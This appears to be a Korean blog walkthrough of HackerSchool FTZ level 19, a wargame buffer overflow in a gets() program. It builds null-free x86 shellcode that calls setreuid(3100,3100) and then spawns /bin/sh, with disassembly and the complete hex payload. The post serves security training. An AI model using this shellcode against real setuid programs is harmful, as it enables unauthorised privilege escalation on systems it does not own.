-
[HackerSchool] Level19오래된/HackerSchool 2011. 5. 10. 05:45
[level19@ftz level19]$ cat hint
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}[ level19 hint ]
Buffer Overflow 문제인데, 지금까지와 다른점이라면 setreuid 함수가 실행되지 않는 다는 점이다.
이전까지 사용해왔던 쉘코드를 수정해서 setreuid 함수가 같이 실행 되도록 변경해서 문제를 해결 할 수 있다.
1. setreuid 를 포함한 Shellcode 제작
먼저 setreuid 함수의 assm 코드를 확인하기 위해서 C 코드를 만든다.
#include <stdio.h>
int main(void)
{
setreuid(3100, 3100);
}[ setreuid level20 코드 ]
setreuid 함수의 assm 코드를 확인하기 위해서는 컴파일시 -static 옵션을 줘야만 한다.
(gdb) disas main
...[중략]...
0x080481f1 <main+33>: push $0xc1c
0x080481f6 <main+38>: push $0xc1c
0x080481fb <main+43>: call 0x804dfa8 <setreuid>
...[중략]...
(gdb) disas setreuid
...[중략]...
0x0804dfe0 <setreuid+56>: mov 0x8(%ebp),%eax
0x0804dfe3 <setreuid+59>: mov 0xc(%ebp),%ecx
0x0804dfe6 <setreuid+62>: push %ebx
0x0804dfe7 <setreuid+63>: mov %eax,%ebx
0x0804dfe9 <setreuid+65>: mov $0x46,%eax
0x0804dfee <setreuid+70>: int $0x80
...[중략]...[ setreuid 관련 주요 assm 코드 ]
위 코드를 그대로 assm 코드로 만들어 컴파일 한 뒤, objdump 로 기계어를 추출해보도록 한다.
globl main
main:
mov $0xc1c, %ebx
mov %ebx, %ecx
mov $0x46, %al
int $0x80[ setreuid assm 코드 ]
이제 objdump 를 이용하여 기계어 코드를 확인해 본다.
080482f4 <main>:
80482f4: bb 1c 0c 00 00 mov $0xc1c,%ebx
80482f9: 89 d9 mov %ebx,%ecx
80482fb: b8 46 00 00 00 mov $0x46,%eax
8048300: cd 80 int $0x80[ setreuid 기계어 코드 ]
이번에도 0x00 코드들이 포함되어 있으므로, 이 코드들을 제거 하기위해 assm 코드를 수정해 보기로 한다.
80482f4: bb 1c 0c 00 00 mov $0xc1c,%ebx
$0xc1c 때문에 발생한 코드로 ebx 를 xor 를 이용 초기화 하고 movw 를 이용하여 bx 레지스터에만 채워넣도록 한다.
80482fb: b8 46 00 00 00 mov $0x46,%eax
$0x46 때문에 발생한 코드로 %ebx 값을 그대로 복사하여 모두 00 으로 초기화 시킨 후 al 레지스터에만 채워넣도록 한다.
.globl main
main:
xor %ebx, %ebx
movw $0xc1c, %bx
mov %ebx, %ecx
mov %ebx, %eax
movb $0x46, %al
int $0x80[ 0x00 을 제거한 assm 코드 ]
이제 위 코드를 컴파일 한 후 objdump 를 이용하여 기계어 코드를 확인해 본다.
080482f4 <main>:
80482f4: 31 db xor %ebx,%ebx
80482f6: 89 d8 mov %ebx,%eax
80482f8: 66 bb 1c 0c mov $0xc1c,%bx
80482fc: 89 d9 mov %ebx,%ecx
80482fe: b0 46 mov $0x46,%al
8048300: cd 80 int $0x80[ 0x00 을 제거한 assm 코드 ]
이제 0x00 이 모두 제거된 기계어 코드를 추출하는데 성공 했다.
이제 이 코드를 기존의 shellcode와 결합 시키기만 하면 되겠다.
\xeb\x10\x31\xc0\x89\xc2\xb0\x0b\x5b\x89\x1e\x88\x66\x04\x89\xf1\xcd\x80\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
기존의 shellcode 에서 \xeb\x10 은 0x10 byte 떨어진 위치를 call 하는 코드라고 했었고
\xe8\xeb\xff\xff\xff 는 0x24 byte 뒤로 jmp 하는 코드라고 했었다.
따라서 중간에 setreuid 코드를 삽입하면서 위 두 개의 값을 코드 길이만큼 더하고 빼주면 되겠다.
\xeb\x1e\x31\xdb\x89\xd8\x66\xbb\x1c\x0c\x89\xd9\xb0\x46\xcd\x80\x31\xc0\x89\xc2\xb0\x0b\x5b\x89\x1e\x88\x66\x04\x89\xf1\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
코드의 길이가 총 14 byte 이므로 0xe 를 더하고 빼면 위와 같이 setreuid 가 포함된 shellcode 가 만들어지게 된다.
이제 이 코드를 이용해서 문제를 풀면 되겠다.'오래된 > HackerSchool' 카테고리의 다른 글
[HackerSchool] Level20 (2) 2011.05.15 [HackerSchool] Level18 (0) 2011.05.10 [HackerSchool] Level17 (0) 2011.05.10 [HackerSchool] Level16 (0) 2011.05.10 [HackerSchool] Level15 (0) 2011.05.10